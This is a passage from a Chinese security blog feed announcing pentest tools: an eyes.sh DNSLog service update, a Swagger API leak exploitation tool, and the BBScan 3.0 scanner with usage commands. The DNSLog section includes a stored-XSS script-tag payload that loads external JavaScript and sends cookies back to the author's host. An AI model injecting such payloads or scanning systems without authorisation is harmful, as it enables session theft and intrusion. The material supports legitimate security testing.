<p style="margin-bottom: 0px;text-align: center;"><strong style="outline: 0px;color: rgb(2, 30, 170);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 20px;letter-spacing: 0.544px;text-align: center;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;">背景</strong></p><section style="margin-bottom: 0px;"><span style="font-size: 14px;color: rgb(255, 104, 39);"><a href="https://eyes.sh" target="_blank">https://eyes.sh</a></span><span style="font-size: 14px;">  是笔者维护的一个简单DNSLog服务，辅助漏扫和渗透测试，现存<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">大约</span>2000名用户（去重后）。</span></section><section style="margin-bottom: 0px;"><span style="font-size: 14px;">前阵子因为发现有丢日志现象，临时关停了服务。</span><span style="font-size: 14px;letter-spacing: 0.034em;">经过一些优化后，目前该服务已经恢复上线。</span></section><p style="text-align: center;margin-bottom: 16px;margin-top: 24px;"><span style="color:#021eaa;font-family:system-ui, -apple-system, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><span style="font-size: 20px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong>完成的优化</strong></span></span></p><section style="margin-bottom: 8px;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 14px;">1. 性能优化，提升服务器响应速度，解决可能的丢日志问题</span></strong></span><br/></section><section style="margin-bottom: 8px;"><span style="font-size: 14px;">原先，作者错误地将查询IP归属地逻辑，串联到日志写入功能、以及DNS Server响应过程。这会造成DNS查询和HTTP响应迟缓，在用户少的时候可能没有问题。</span><span style="font-size: 14px;letter-spacing: 0.034em;">用户数</span><span style="font-size: 14px;letter-spacing: 0.034em;">一旦增加，性能问题</span><span style="font-size: 14px;letter-spacing: 0.034em;">开始感觉明显</span><span style="font-size: 14px;letter-spacing: 0.034em;">。</span></section><section style="margin-bottom: 8px;"><span style="font-size: 14px;">目前已经去掉IP查询逻辑，写入时<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">不再立即</span>查询，仅在前端展示时，查询IP归属地。</span><br/></section><section style="margin-bottom: 8px;"><span style="font-size: 14px;">包括日志写入MySQL时，也已经不再串联。<br/></span></section><section style="margin-bottom: 8px;margin-top: 16px;"><span style="color: rgb(255, 104, 39);"><strong><span style="color: rgb(255, 104, 39);font-size: 14px;">2. 部署了SSL证书，同时支持HTTP/HTTPS访问</span></strong></span></section><section style="margin-bottom: 8px;"><span style="font-size: 14px;">因为多数后台都启用了https，如果不提供https访问，浏览器会阻止对DNSLog服务的访问，产生错误 <span style="font-weight: bolder;color: rgb(33, 37, 41);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Mixed Content Warnings (HTTPS/SSL)</span></span></section><ul class="list-paddingleft-1" style="list-style-type: square;"><li><section style="margin-bottom: 8px;"><span style="font-size: 14px;color: rgb(255, 104, 39);">用户二级子域名支持https访问和记录日志</span><span style="font-size: 14px;">，如：<a href="https://demo.eyes.sh" target="_blank">https://demo.eyes.sh</a></span></section></li><li><section style="margin-bottom: 8px;"><span style="font-size: 14px;">用户三级域名不能h</span><span style="font-size: 14px;">ttps访问，因为Let&#39;s Encrypt 不能无限签发SSL证书。如： <span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;"><a href="https://test.demo" target="_blank">https://test.demo</a></span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">.</span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">eyes.sh   因此，在需要https访问的场景下，不能使用更深的子域名</span></span></section></li></ul><p style="margin-bottom: 8px;margin-top: 16px;"><span style="color: rgb(255, 104, 39);"><strong><span style="color: rgb(255, 104, 39);font-size: 14px;">3. 提供简单接口用于测试存储XSS</span></strong></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000093" data-ratio="0.3803921568627451" data-s="300,640" style="" data-type="png" data-w="765" src="https://wechat2rss.xlab.app/img-proxy/?k=ddc321f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ltd1PXaJHxy2qakRzKWQRzzNU4U4hoicjPFRytaZsgEicIc7c2ePgicrVBfSjxtAjlLbTRf8yVUEjAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;"><span style="font-size: 14px;letter-spacing: 0.034em;">在需要测试存储XSS的地方，可以输入</span><span style="font-size: 14px;letter-spacing: 0.034em;">类似如下</span><span style="font-size: 14px;letter-spacing: 0.034em;">脚本</span></p><section style="margin-bottom: 8px;"><span style="color: rgb(0, 128, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(227, 242, 253);">/&gt; &lt;script src=&#34;<a href="https://eyes.sh/x/?u=demo" target="_blank">https://eyes.sh/x/?u=demo</a>&#34;&gt;&lt;/script&gt;&lt;</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000092" data-ratio="0.30191256830601093" data-s="300,640" style="" data-type="png" data-w="732" src="https://wechat2rss.xlab.app/img-proxy/?k=49b2db70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ltd1PXaJHxy2qakRzKWQRziaMB1ibBJv3rLiblfibmqa8pgVhP6FV756mFrZiciaecVPTQLksSIX37ryqw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;">以上，可以保证外部JS和回传Cookie的接口，都是有效的https链接</span><br/></section><section style="margin-bottom: 8px;margin-top: 16px;"><span style="color: rgb(255, 104, 39);"><strong><span style="color: rgb(255, 104, 39);font-size: 14px;">4. 提供简单IP聚合统计功能</span></strong></span></section><section style="margin-bottom: 8px;"><span style="font-size: 14px;">增加了简单IP聚合统计，在界面上点击Count按钮，可以得到 IP触发的次数，分组查看和删除。<br/></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000094" data-ratio="0.46944444444444444" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ba4f3e15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ltd1PXaJHxy2qakRzKWQRzib4GIY2x6KSwJ7bc42zcovJzjI6tPDmglR8KPnpx8g6qIiaynwVbUzMA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: center;margin-bottom: 8px;"><span style="color:#021eaa;font-family:system-ui, -apple-system, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><span style="font-size: 20px;letter-spacing: 0.544px;"><strong>开始使用</strong></span></span></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 14px;">用户直接使用笔者部署的服务，访问： <strong><span style="font-size: 14px;color: rgb(255, 104, 39);"><a href="https://eyes.sh/" target="_blank">https://eyes.sh/</a></span></strong></span></section><p style="text-align: left;"><span style="font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);">用户自行部署DNSLog服务：</span><span style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(255, 104, 39);visibility: visible;"><strong style="outline: 0px;visibility: visible;"><a href="https://github.com/lijiejie/eyes.sh" target="_blank">https://github.com/lijiejie/eyes.sh</a></strong></span></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;"></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483745">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=621d43c9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483745%26idx%3D1%26sn%3Ddb8b796d184c4e80c921cb0f92e7302f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 11 Jun 2024 09:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Swagger API 信息泄露利用工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483738&amp;idx=1&amp;sn=4fee47f05fdf74f2620ab5eeca642809</link>
      <description>这是一个 Swagger API 信息泄露的利用小工具。</description>
      <content:encoded><![CDATA[<p>
<span>没扫到漏洞的</span> <span>2024-06-07 19:37</span> <span style="display: inline-block;">北京</span>
</p>

<p>这是一个 Swagger API 信息泄露的利用小工具。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6748cd6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9nsroKN7flVcQeKCn1pd7RrBCXe4z113qmT5ibjgLibOM9znNt8PkGiaicBtaPlmiajIJ7B3R8lbEp0hicA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p dir="auto" style="margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;">这是一个 Swagger API 信息泄露的利用小工具。 </span></p><p dir="auto" style="margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;">它完成几个简单的工作：</span></p><ul dir="auto" style="padding-left: 2em;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">遍历所有API接口，自动填充参数</span></p></li><li style="margin-top: 0.25em;font-size: 14px;"><p><span style="font-size: 14px;">尝试 GET / POST  所有接口，返回 Response Code / Content-Type / Content-Length ，用于检查接口是否可以未授权访问利用</span></p></li><li style="margin-top: 0.25em;font-size: 14px;"><p><span style="font-size: 14px;">分析接口是否存在敏感参数，例如 [&#39;url&#39;, &#39;path&#39;, &#39;uri&#39;]，容易引入外网的SSRF漏洞</span></p></li><li style="margin-top: 0.25em;font-size: 14px;"><p><span style="font-size: 14px;">检测 API认证绕过漏洞</span></p></li><li style="margin-top: 0.25em;font-size: 14px;"><p><span style="font-size: 14px;">在本地监听一个Web Server，打开Swagger UI界面，供分析接口使用</span></p></li><li style="margin-top: 0.25em;font-size: 14px;"><p><span style="font-size: 14px;">使用Chrome打开本地Web服务器，并禁用CORS，解决部分API接口无法跨域请求的问题</span></p></li><li style="margin-top: 0.25em;font-size: 14px;"><p><span style="font-size: 14px;">当工具检测到HTTP认证绕过漏洞时，本地服务器拦截API文档，修改path，以便直接在Swagger UI中进行测试</span></p></li></ul><p><span style="font-size: 14px;">[2024-06-07] 增加支持 OpenAPI 3.0 格式的文档</span></p><p><span style="font-size: 16px;"><span style="font-size: 16px;">工具地址</span><span style="font-size: 16px;">：</span><span style="font-size: 16px;color: rgb(255, 104, 39);"> </span><strong><span style="font-size: 16px;color: rgb(255, 104, 39);"><a href="https://github.com/lijiejie/swagger-exp" target="_blank">https://github.com/lijiejie/swagger-exp</a></span></strong></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000087" data-ratio="0.4895287958115183" data-s="300,640" style="" data-type="png" data-w="764" src="https://wechat2rss.xlab.app/img-proxy/?k=88acde22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9nsroKN7flVcQeKCn1pd7Rrcbh482U0HLyliaGf3ib5J0wM3KjoZiaLQ6JNGvtHukiboQ0rW2H2brqIuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483738">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c4d45614&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483738%26idx%3D1%26sn%3D4fee47f05fdf74f2620ab5eeca642809%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 07 Jun 2024 19:37:00 +0800</pubDate>
    </item>
    <item>
      <title>BBScan3.0，一个高并发的Web漏洞扫描工具，辅助API安全测试</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483733&amp;idx=1&amp;sn=a56abbd2cd2429d256fda283d4cffb41</link>
      <description>BBScan 是一个高并发的、轻量级的Web漏洞扫描工具。它帮助安全工程师从大量目标中，快速发现，定位可能存在弱点的目标，辅助半自动化测试，特别是API接口的安全测试。</description>
      <content:encoded><![CDATA[<p>
<span>扫不到漏洞的</span> <span>2024-05-28 12:07</span> <span style="display: inline-block;">北京</span>
</p>

<p>BBScan 是一个高并发的、轻量级的Web漏洞扫描工具。它帮助安全工程师从大量目标中，快速发现，定位可能存在弱点的目标，辅助半自动化测试，特别是API接口的安全测试。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=23192b5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9mFFwVDNfRpqnwujesibIGuwV9tzwicVlnBkTriaTCMWBLGBnTQjAWyibKQhTd8YS6iaR71rjhyOFP16Fg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0em;outline: 0px;text-align: center;"><span style="color: rgb(2, 30, 170);font-size: 20px;"><strong>背景</strong></span></p><p><span style="font-size: 14px;">随着时间推移，BBScan作为一款漏洞扫描工具已经过时，在9年前，这样的工具还能够以数量和速度优势，捡到一些中低危漏洞，但如今，确实是扫不到什么有价值的东西了。</span></p><p><span style="font-size: 14px;">常见Web框架<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">引</span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">入了</span>更多的默认安全设计、WAF/RASP等防护技术更加成熟，曾经常见的SQL注入/XSS/命令注入等，现在反而见得不多了。取而代之的，各大SRC现在收到的漏洞中，有<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">相</span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">当比例</span>是逻辑越权类的。</span></p><p><span style="font-size: 14px;">于是，笔者对这款古董级的BBScan进行了如下改造</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 14px;"><span style="font-size: 14px;">支持Web指纹识别</span></span></strong></span><span style="font-size: 14px;">，帮助安全工程师快速定位到感兴趣的应用</span></p></li><ul class="list-paddingleft-1" style="list-style-type: circle;"><li><p><span style="font-size: 14px;">Web指纹来自 <a href="https://github.com/0x727/FingerprintHub " target="_blank">https://github.com/0x727/FingerprintHub </a> 感谢作者</span></p></li></ul><li style="font-weight: bold;color: rgb(255, 104, 39);"><p><strong><span style="font-size: 14px;color: rgb(255, 104, 39);"><span style="font-size: 14px;color: rgb(255, 104, 39);">支持Javascript 解析功能</span></span></strong><span style="font-size: 14px;"></span></p></li><ul class="list-paddingleft-1" style="list-style-type: circle;"><li><p><span style="font-size: 14px;">目前很多站点是单页应用，对扫描器可见的仅仅是静态资源打包后的少数几个.js。扫描器需要解析js，扫描诸如 </span><span style="font-weight: var(--base-text-weight-semibold, 600);color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);font-size: 14px;">Token/Secrets/Password/Key 泄露，发现API接口</span></p></li></ul><li style="color: rgb(255, 104, 39);"><p style="text-align: left;"><span style="color:#1f2328;font-family:-apple-system, BlinkMacSystemFont, Segoe UI, Noto Sans, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji;"><span style="font-size: 14px;letter-spacing: normal;background-color: rgb(255, 255, 255);color: rgb(255, 104, 39);"><strong>支持从javascript文件中，正则提取疑似API接口</strong></span></span></p></li><ul class="list-paddingleft-1" style="list-style-type: circle;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">在当前版本中，考虑到速度，并没有对提取的URL进行自动化测试，但计划增加一个heavy mode ，扫描API接口</span><br/></p></li></ul><li style="font-size: 14px;"><p><span style="font-size: 14px;color: rgb(255, 104, 39);"><strong>减少漏报</strong></span><span style="font-size: 14px;">:  优化减少DNS查询次数，提高稳定性。在家庭网络环境下，观察到DNS设施相对脆弱，容易出现漏报问题</span></p></li><li style="font-size: 14px;"><p><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 14px;">减少误报</span></strong></span><span style="font-size: 14px;">：优化了误报验证逻辑</span></p></li><li style="font-size: 14px;"><p><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 14px;">界面优化</span></strong></span><span style="font-size: 14px;">：对输出的HTML报告，进行了简单优化，提升可读性</span></p><p><span style="font-size: 14px;"></span></p></li></ul><p style="text-align: center;"><span style="font-size: 14px;"><strong style="color: rgb(2, 30, 170);font-size: 20px;letter-spacing: 0.578px;text-align: center;text-wrap: wrap;">改造效果</strong></span></p><p><span style="font-size: 14px;">BBScan项目地址：<span style="font-size: 14px;color: rgb(255, 104, 39);"><strong><a href="https://github.com/lijiejie/BBScan" target="_blank">https://github.com/lijiejie/BBScan</a></strong></span></span></p><p><span style="font-size: 14px;">笔者首先利用另一个工具 subDomainsBrute暴力枚举了3个域名 </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">*<span class="code-snippet__selector-class">.baidu</span><span class="code-snippet__selector-class">.com</span> *<span class="code-snippet__selector-class">.qq</span><span class="code-snippet__selector-class">.com</span> *<span class="code-snippet__selector-class">.bytedance</span><span class="code-snippet__selector-class">.com</span></span></code></pre></section><p><span style="font-size: 14px;letter-spacing: 0.034em;">随后将发现的域名文件</span><span style="font-size: 14px;letter-spacing: 0.034em;">丢给</span><span style="font-size: 14px;letter-spacing: 0.034em;">BBS</span><span style="font-size: 14px;letter-spacing: 0.034em;">c</span><span style="font-size: 14px;letter-spacing: 0.034em;">an</span><span style="font-size: 14px;letter-spacing: 0.034em;">，扫描</span><span style="font-size: 14px;letter-spacing: 0.034em;">生成3份报告（请复制后打开）</span><span style="font-size: 14px;"></span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;"><a href="https://www.lijiejie.com/python/BBScan/qq.com_report.html" target="_blank">https://www.lijiejie.com/python/BBScan/qq.com_report.html</a></span></p></li><li><p><span style="font-size: 14px;"><a href="https://www.lijiejie.com/python/BBScan/bytedance.com_report.html" target="_blank">https://www.lijiejie.com/python/BBScan/bytedance.com_report.html</a></span></p></li><li><p><span style="font-size: 14px;"><a href="https://www.lijiejie.com/python/BBScan/baidu.com_report.html" target="_blank">https://www.lijiejie.com/python/BBScan/baidu.com_report.html</a></span></p><p><span style="font-size: 14px;"></span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000080" data-ratio="0.23703703703703705" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=61c687e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mFFwVDNfRpqnwujesibIGuwNFlXM1sRo3kPj7jesfSR0l8lTdqa40orcOibgZFS3PtMD8v1QVymcsw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">如上图所示，扫描器利用默认的内置规则，能够识别到这是一个管理后台。同时，扫描器还从js文件中，提取到12个疑似API接口。</span></p><p><span style="font-size: 14px;">针对这样的一份报告，可以进行如下处理</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;">首先检查通过内置规则扫出的漏洞，一般是信息泄露、各类后台、JS中的秘钥泄露</span></p></li><li><p><span style="font-size: 14px;">检查web指纹是否<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">识</span>别到你可能感兴趣的通用应用、框架、开源或商业产品</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">对发现API接口的站点，进行重点分析和测试，点开感兴趣的接口重点<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">分析和扫描</span></span><br/></p></li><li><p><span style="font-size: 14px;">对API网关进行测试和评估</span></p></li><li><p><span style="font-size: 14px;">对报告中泄露的内网域名、IP进行简单分析</span></p></li><li><p><span style="font-size: 14px;">通过关键词搜索你感兴趣的关键词，如Header Name、特殊的Cookie</span></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000081" data-ratio="0.38063063063063063" data-s="300,640" style="" data-type="png" data-w="888" src="https://wechat2rss.xlab.app/img-proxy/?k=e6dbfc22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mFFwVDNfRpqnwujesibIGuw0VUwlv1MpEto1j1kaRXsjhQIVJbRicCPSsuoCKU0icQQRmFO1Uq3gRfQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></li></ul><p><br/></p><p style="text-align: center;"><strong style="letter-spacing: 0.578px;text-align: center;text-wrap: wrap;color: rgb(2, 30, 170);font-size: 20px;">使用问题</strong></p><p><strong><span style="font-size: 14px;">对大量目标快速指纹识别</span></strong><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">BBScan</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">--fingerprint</span> <span class="code-snippet__selector-tag">-f</span> <span class="code-snippet__selector-tag">urls</span><span class="code-snippet__selector-class">.txt</span> <span class="code-snippet__selector-tag">--api</span></span></code></pre></section><p><span style="font-size: 14px;"><strong style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">请注意， 这个 --fingerprint 开关，是指定只扫描web指纹，其他规则反而会被禁用。</span></strong></span></p><p><span style="font-size: 14px;">如下图所示，本工具可以在较短时间内扫描完上万网站</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000082" data-ratio="0.23312101910828026" data-s="300,640" style="" data-type="png" data-w="785" src="https://wechat2rss.xlab.app/img-proxy/?k=72169904&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mFFwVDNfRpqnwujesibIGuwtsZBJR7pXts3iaE4KPj8dIkTQRs8Ta9Ya9icSLH84p5FibMRLG1BOO26g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;"><strong>完整扫描模式</strong></span><span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgb(250, 250, 250);color: rgb(51, 51, 51);letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">BBScan</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">-f</span> <span class="code-snippet__selector-tag">baidu</span><span class="code-snippet__selector-class">.com_full</span><span class="code-snippet__selector-class">.txt</span>  <span class="code-snippet__selector-tag">--full</span> <span class="code-snippet__selector-tag">--api</span></span></code></pre></section><p><span style="font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;letter-spacing: normal;text-align: left;white-space: break-spaces;background-color: rgba(175, 184, 193, 0.2);color: rgb(255, 104, 39);">--network MASK  </span><span style="font-size: 14px;">任何时候都可以使用该参数，把子网中的其他相邻IP，一并添加到扫描任务中。虽然不建议这么做，但下面的命令是真的可以工作，你或许会得到1个超大HTML</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--host 10.1.1.1 --network 8 --fingerprint</span></span></code></pre></section><p><span style="font-size: 14px;">上面的命令指定扫描 10.1.1.1/8 整个内网，打开文件时，可能出现Chrome浏览器Out Of Memeory，所以，建议指定为更小的指，建议不小于16。</span></p><p><span style="font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;letter-spacing: normal;text-align: left;white-space: break-spaces;background-color: rgba(175, 184, 193, 0.2);color: rgb(255, 104, 39);">--skip, --skip-intranet  </span><span style="font-size: 14px;">排除内网IP的扫描，这对白帽子比较实用，避免浪费扫描资源。</span></p><p style="text-align: center;"><span style="font-size: 14px;"><strong style="letter-spacing: 0.578px;text-align: center;text-wrap: wrap;color: rgb(2, 30, 170);font-size: 20px;">未来优化</strong></span></p><p><span style="font-size: 14px;">BBScan未来可能进一步优化API接口的扫描</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">增加对API接口的重扫描、分析支持</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">正则优化，解决API接口提取不够精准的问题</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">优化对隐蔽API接口的暴力枚举发现、source map泄露发现等</span></p></li><li style="font-size: 14px;"><p>子域名/Email的收集整理、证书的收集整理</p><p><br/></p></li></ul><p><span style="font-size: 14px;">因时间有限，部分功能还未开发完成，同时，开发过程测试不充分，请大家反馈功能建议和Bug问题。  :)</span></p><p><span style="font-size: 14px;">古董扫描器BBScan的复活，希望它对你有一定用。虽然，显然还不够有用。  :)</span></p><p><span style="font-size: 14px;"><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">项目地址：</span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;color: rgb(255, 104, 39);"><strong><a href="https://github.com/lijiejie/BBScan" target="_blank">https://github.com/lijiejie/BBScan</a></strong></span></span><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483733">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e7350b43&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483733%26idx%3D1%26sn%3Da56abbd2cd2429d256fda283d4cffb41%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 May 2024 12:07:00 +0800</pubDate>
    </item>
    <item>
      <title>Python中实现轮询raw_input和手机扫码动作</title>
